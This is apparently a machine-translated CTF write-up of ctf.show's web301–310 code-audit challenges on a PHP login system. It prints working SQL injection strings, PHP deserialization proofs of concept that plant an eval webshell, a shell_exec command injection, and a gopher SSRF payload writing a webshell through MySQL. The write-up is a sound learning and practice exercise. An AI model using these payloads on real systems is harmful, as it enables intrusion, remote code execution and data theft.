There may be a lot of nonsense. It mainly records the process of finding loopholes from so many files
Reference blog
https://blog.csdn.net/rfrder/article/details/113924013
https://blog.csdn.net/miuzzx/article/details/111352849
https://rainy-autumn.top/archives/913
web301
Audit the loopholes written by the group leader three years ago
seay didn't get anything out. He's numb
After a little look at the code, I focused on checklogin PHP and fun php
Although I can't understand fun PHP, he looks like this:
<?php function sds_decode($str){ return md5(md5($str.md5(base64_encode("sds")))."sds"); } ?>
Generally, there should be some problems with this kind of fund, so I searched the whole world to see if there is a fund PHP, the search result is no, this will be put down for the time being
The second is the checklogin PHP, at first glance, I felt that username had an injection point, so I ran with sqlmap. Use burp to capture and save the file, and then sqlmap - R web301 Txt, the pop-up option is yes all the way
The test found that there is blind injection based on time. Just run sqlmap all the way to the end.
While running, I continued to watch checklogin PHP, after all, this is code audit, not just running scripts
Note the key points:
$userpwd=$_POST['userpwd']; $sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;"; $result=$mysqli->query($sql); $row=$result->fetch_array(MYSQLI_BOTH); if(!strcasecmp($userpwd,$row['sds_password'])){ $_SESSION['login']=1; }
userpwd passed in by user POST and SDS found in sql_ If the password is equal, login can be 1. What else do you want? Pass it directly
userid = 1' union select 1# userpwd = 1
The home page is flag
In this way, my code audit ability is too poor. How many times did I do it right in the middle of the way.
web302
Modified place:
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
SDS is only carried out on the basis of the previous question_ Decode, this sds_decode is the fun I saw before php.
As you can see, its return value is MD5 ($str.md5 (base64_encode ("SDS")) “sds”)
Because you know that the value of str is 1, you can encrypt it yourself and then use the payload above
The final encryption result is d9c77c4e454869d5d8da3b4be79694d3
userid = 1' union select "d9c77c4e454869d5d8da3b4be79694d3"# userpwd = 1
web303
Here's the source code. There's an sql file in it
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
Here is the account admin and ciphertext
Second view sds_decode, I found that he also echoed SDS_ The value of decode ('admin ') is checked in after the previous payload is passed PHP just echoes the encrypted value of admin, which is equal to that in the sql file, indicating that the account password is admin/admin
You can log in directly, but no flag is found on the home page
Check the new file and find a dptadd PHP, which directly annotates an injection point
//Injection point $_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL; $_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL; $_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL; $_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL; $_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL; $_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL; $dpt_name=$_POST['dpt_name']; $dpt_address=$_POST['dpt_address']; $dpt_build_year=$_POST['dpt_build_year']; $dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0"; $dpt_cert_number=$_POST['dpt_cert_number']; $dpt_telephone_number=$_POST['dpt_telephone_number']; $mysqli->query("set names utf-8"); $sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';"; $result=$mysqli->query($sql); echo $sql; if($result===true){ $mysqli->close(); header("location:dpt.php"); }else{ die(mysqli_error($mysqli)); } }
It shows that there are injection points in this interface, and the unfiltered insert injection is directly in dptadd PHP just send a POST package
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)#
web304
Added Global waf function sds_waf($str){ return preg_match('/[0-9]|[a-z]|-/i', $str); }
ditto
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_flaag')#
dpt_name=1&dpt_address=1&dpt_build_year=2022-01-14&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_flaag)#
web305
Download the new source code, you can see fun PHP adds filtering
function sds_waf($str){ if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){ return false; }else{ return true; } }
Then I found multiple classes php
<?php class user{ public $username; public $password; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function __destruct(){ file_put_contents($this->username, $this->password); } }
Obviously, it can be written about horses during destruction. Include class The file of PHP is checklogin php
$user_cookie = $_COOKIE['user']; if(isset($user_cookie)){ $user = unserialize($user_cookie);
POC:
<?php class user{ public $username; public $password; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } } $a = new user('mazi.php','<?php eval($_POST[mumuzi]); ?>'); echo urlencode(serialize($a));
obtain
O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22mazi.php%22%3Bs%3A8%3A%22password%22%3Bs%3A30%3A%22%3C%3Fphp+eval%28%24_POST%5Bmumuzi%5D%29%3B+%3F%3E%22%3B%7D
Then ant sword Mazi PHP to mumuzi, check the database, and the account secret is root
web306
Start using mvc structure
What is mvc...
Digging lotus root
This checklogin contains a serve PHP and serve include dao and fun PHP and dao contain class PHP and config php
As you can see, Dao PHP has an sql query statement in get_ user_ password_ by_ The username function is called in service php
However, I didn't find any place where the sql statement could be echoed. I thought it might be blind annotation, but wp found that it was still deserialization
class log{ public $title='log.txt'; public $info=''; public function loginfo($info){ $this->info=$this->info.$info; } public function close(){ file_put_contents($this->title, $this->info); } }
public function __destruct(){ $this->conn->close(); }
I have always misunderstood this $this - > conn - > close(), which leads to the failure to find the vulnerability correctly. It turns out that there is a close() in the log class..
You can notice that you can write such as title and info here, so you can write horse directly. Note index PHP is Base64 first_ Decode() and then deserialize
<?php class dao{ private $conn; public function __construct() { $this->conn=new log(); } } class log{ public $title='mazi.php'; public $info='<?php eval($_POST[mumuzi]);?>'; } $a = new dao(); echo base64_encode(serialize($a));
obtain
TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo4OiJtYXppLnBocCI7czo0OiJpbmZvIjtzOjI5OiI8P3BocCBldmFsKCRfUE9TVFttdW11emldKTs/PiI7fX0=
Direct cookie to index PHP is OK. You don't need to log in
Flag is in flag php
web307
The group leader divided the php files into the following categories. The global search unserialize found that there was deserialization in the exit login file
Follow it up, and finally in Dao PHP finds that the value passed in will eventually enter the shell_exec function, the parameter passed in is config PHP cache_dir
public function clearCache(){ shell_exec('rm -rf ./'.$this->config->cache_dir.'/*'); }
Here you might as well use semicolon to partition, and then pass in the command you want to pass in
Because the last question flag is in flag PHP, and the group leader just optimized the code, so there's no more horse passing here
<?php class config{ public $cache_dir = ';mv /var/www/html/flag.php /var/www/html/flag.txt;'; } class dao{ private $config; public function __construct() { $this->config = new config(); } } $a = new dao(); echo base64_encode(serialize($a));
obtain
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NTA6IjttdiAvdmFyL3d3dy9odG1sL2ZsYWcucGhwIC92YXIvd3d3L2h0bWwvZmxhZy50eHQ7Ijt9fQ==
Then visit flag Txt
web308
The title clearly indicates the need for a shell
seay
But open Dao PHP found that it can't be used
Then found in fun In PHP, an additional function is added
function checkUpdate($url){ $ch=curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); $res = curl_exec($ch); curl_close($ch); return $res; }
Then I searched checkUpdate globally, only Dao php
#dao.php public function checkVersion(){ return checkUpdate($this->config->update_url); }
#config.php class config{ public $update_url = 'https://vip.ctf.show/version.txt'; }
I can't understand it. I read wp it
The utilization point is still in index php
#index.php $service = unserialize(base64_decode($_COOKIE['service'])); if($service){ $lastVersion=$service->checkVersion(); }
SSRF (server side request forgery) is a security vulnerability constructed by an attacker to form a request initiated by the server. Generally, the target of SSRF attack is the internal system that cannot be accessed from the external network. (it is precisely because it is initiated by the server that it can request the internal system connected to it and isolated from the external network)
The checkUpdate function has an ssrf vulnerability because it can curl
So gopherus generates payload to call mysql
https://github.com/tarunkant/Gopherus
Construct POC
<?php class config{ public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4e%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%6d%75%6d%75%7a%69%5d%29%3b%20%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%6d%61%7a%69%2e%70%68%70%22%01%00%00%00%01'; } class dao{ private $config; public function __construct(){ $this->config = new config(); } } echo base64_encode(serialize(new dao()));
obtain
TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3ODc6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNGUlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlNmQlNzUlNmQlNzUlN2ElNjklNWQlMjklM2IlMjAlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjIlMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlNmQlNjElN2ElNjklMmUlNzAlNjglNzAlMjIlMDElMDAlMDAlMDAlMDEiO319
web309
Need to take shell,308 My method doesn't work,mysql There's a password
The file is 308. Really, I really don't know what to do with this kind of pure cute new. I can only watch wp it
This is fastcgi
FastCGI is a scalable and high-speed interface for communication between HTTP server and dynamic scripting language (FastCGI interface is socket (file socket or ip socket) under Linux). The main advantage is to separate dynamic language from HTTP server.
Other operations are the same as above
web310
File or 308 file
This time, in the same way, access flag Txt shows just a joke 😃
So I wrote a horse and went in to see it
After the ant sword was connected, it was strange that the virtual terminal could not be used. I wanted to execute the command to find the flag
But finally, I found the flag in / var in file management. Double click to open it
This concludes the entire code audit section